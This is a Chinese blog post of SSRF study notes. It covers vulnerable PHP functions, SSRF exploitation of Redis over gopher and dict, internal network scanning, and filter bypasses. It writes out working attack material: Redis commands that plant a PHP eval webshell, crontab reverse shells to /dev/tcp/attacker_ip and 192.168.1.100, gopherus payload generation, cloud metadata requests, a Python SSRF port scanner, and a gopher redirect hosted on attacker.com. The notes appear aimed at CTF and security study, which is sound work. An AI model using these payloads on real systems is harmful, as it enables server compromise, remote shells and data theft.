SSRF学习

一、SSRF漏洞深度解析

1.1 漏洞本质

攻击模型

攻击者
构造恶意URL
存在SSRF的服务端
发起内部请求
内网系统/本地文件
返回敏感数据

核心成因:服务端未对用户输入的URL进行 协议类型、目标地址、端口范围 三重校验。

1.2 高危函数(PHP)

函数 风险点 攻击示例
file_get_contents() 直接读取任意协议内容 ?url=c
curl_exec() 支持Gopher等危险协议 ?url=gopher://127.0.0.1:6379/_*1...
fsockopen() 原始TCP连接可构造任意数据包 发送Redis未授权访问命令

自己搭建环境测试一下这几个函数

file_get_contents()

image

直接读取一下文件看看
在根目录创建一个flag

image

读取一下

file_get_contents.php?url=file:///www/wwwroot/我的网站的名字/flag.txt

image

curl_exec()

image

这里不演示gopher的协议使用了就简单回访一下我博客园的主页

但是发现我博客园的显示不出来

还是用百度吧

curl_exec.php?url=www.baidu.com

image

fsockopen()

image

也是直接访问一手百度

fosockopen.php?url=www.baidu.com

image


二、redis理解和协议利用

2.1redis理解

一、Redis在SSRF攻击中的核心作用

1. 内网渗透跳板

Redis默认开放端口6379且常无认证,通过SSRF可操控Redis执行高危操作
写入Webshell:修改Redis持久化路径至Web目录,写入恶意PHP文件

 config set dir /var/www/html
 config set dbfilename shell.php
 set payload "<?php @eval($_POST['cmd']);?>"
 save

计划任务反弹Shell:写入crontab定时任务执行反向连接

set task "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

2. 协议利用枢纽

dict协议:快速探测Redis服务状态

dict://127.0.0.1:6379/info

返回服务器配置、内存等敏感信息

gopher协议:发送任意格式的Redis命令(攻击主力)

# 使用gopherus生成攻击载荷
python gopherus.py --exploit redis -c "id > /tmp/pwned"

⚔️ 二、CTF中的典型攻击流程

image

关键步骤详解:

  1. 服务探测

    利用SSRF发送

    dict://target_ip:6379/info
    

    ,若返回

    redis_version
    

    则存在未授权访问

  2. 命令构造

    原生协议格式:每条命令需满足

    *<参数个数>\r\n$<参数长度>\r\n<参数>\r\n
    
    *3\r\n$3\r\nSET\r\n$4\r\nkey1\r\n$5\r\nvalue\r\n
    

    自动化工具:

    • Gopherus:一键生成反弹Shell的gopher payload
    • SSRFMap:内置Redis模块自动化攻击
  3. 绕过技巧

    URL双重编码:规避WAF检测(如%253A代替:

    空白符利用:

    %0d%0a 伪造协议分隔符
    

​ DNS重绑定:绕过IP黑名单限制

2.2基础协议利用

协议 Payload格式 利用效果
file:// file:///c:/windows/win.ini 读取服务器敏感文件
dict:// dict://192.168.1.10:6379/info 获取Redis/Memcached配置信息
http:// http://169.254.169.254/latest/meta-data 云服务器元数据泄露(AWS/Azure)
ftp:// ftp://attacker.com:21/evil.txt 强制服务器下载恶意文件

2.3 高级协议攻击 - Gopher协议

Redis未授权访问攻击流程

  1. 构造Redis命令:

    flushall
    set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    
  2. 转换为Gopher格式:

    python

    # 使用gopherus工具生成
    python gopherus.py --exploit redis -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
    
  3. 发起SSRF攻击:

    http://vuln-site.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A...
    

三、内网渗透实战手法

3.1 内网资产探测

python

# Python自动化探测脚本示例
import requests

ports = [80, 443, 8080, 6379, 3306]
internal_ips = ["192.168.1.{}".format(i) for i in range(1,255)]

for ip in internal_ips:
    for port in ports:
        try:
            url = f"http://vuln-site.com/ssrf.php?url=http://{ip}:{port}"
            resp = requests.get(url, timeout=3)
            if resp.status_code != 403:  # 过滤防火墙拦截
                print(f"[+] Found active: {ip}:{port} - {resp.text[:50]}")
        except: pass

3.2 服务指纹识别

服务 特征路径 识别方式
Jenkins /login?from=%2F 页面包含"Jenkins"
Docker API /_ping 返回OK
Kubernetes /api/v1/namespaces 返回JSON格式资源列表

四、高级绕过技术详解

4.1 协议层绕过

  • 302跳转利用:

    托管恶意跳转脚本于公网:

    <?php header("Location: gopher://127.0.0.1:6379/_*1%0d%0a..."); ?>
    

    请求:

    http://vuln-site.com/ssrf.php?url=http://attacker.com/redirect.php
    

4.2 DNS层绕过

  • DNS重绑定攻击:
    1. 注册域名evil.com,设置TTL=0
    2. 首次解析返回合法IP 1.1.1.1
    3. 第二次解析返回127.0.0.1
      工具:https://lock.cmpxchg8b.com/rebinder.html

4.3 特殊编码绕过

类型 原始IP 绕过形式
十进制 127.0.0.1 2130706433
八进制 127.0.0.1 0177.0000.0000.0001
十六进制 127.0.0.1 0x7f.0x0.0x0.0x1
混合编码 192.168.1.1 0xc0.0xa8.0x1.0x1

五、SSRF漏洞检测工具链

  1. 被动扫描

    • Burp Suite Collaborator
    • DNSLog Platform(如ceye.io)
  2. 主动探测

    # SSRFmap自动化利用
    python ssrfmap.py -r req.txt -p url -m portscan
    
    # Gopherus攻击生成
    python gopherus.py --exploit mysql -c "SELECT @@version"
    
  3. 流量分析
    使用Wireshark过滤异常流量:
    tcp.port == 6379 and ip.src == <server_ip>


附:SSRF攻击杀伤链

image

posted @ 2025-06-01 15:42  crook666  阅读(79)  评论(0)    收藏  举报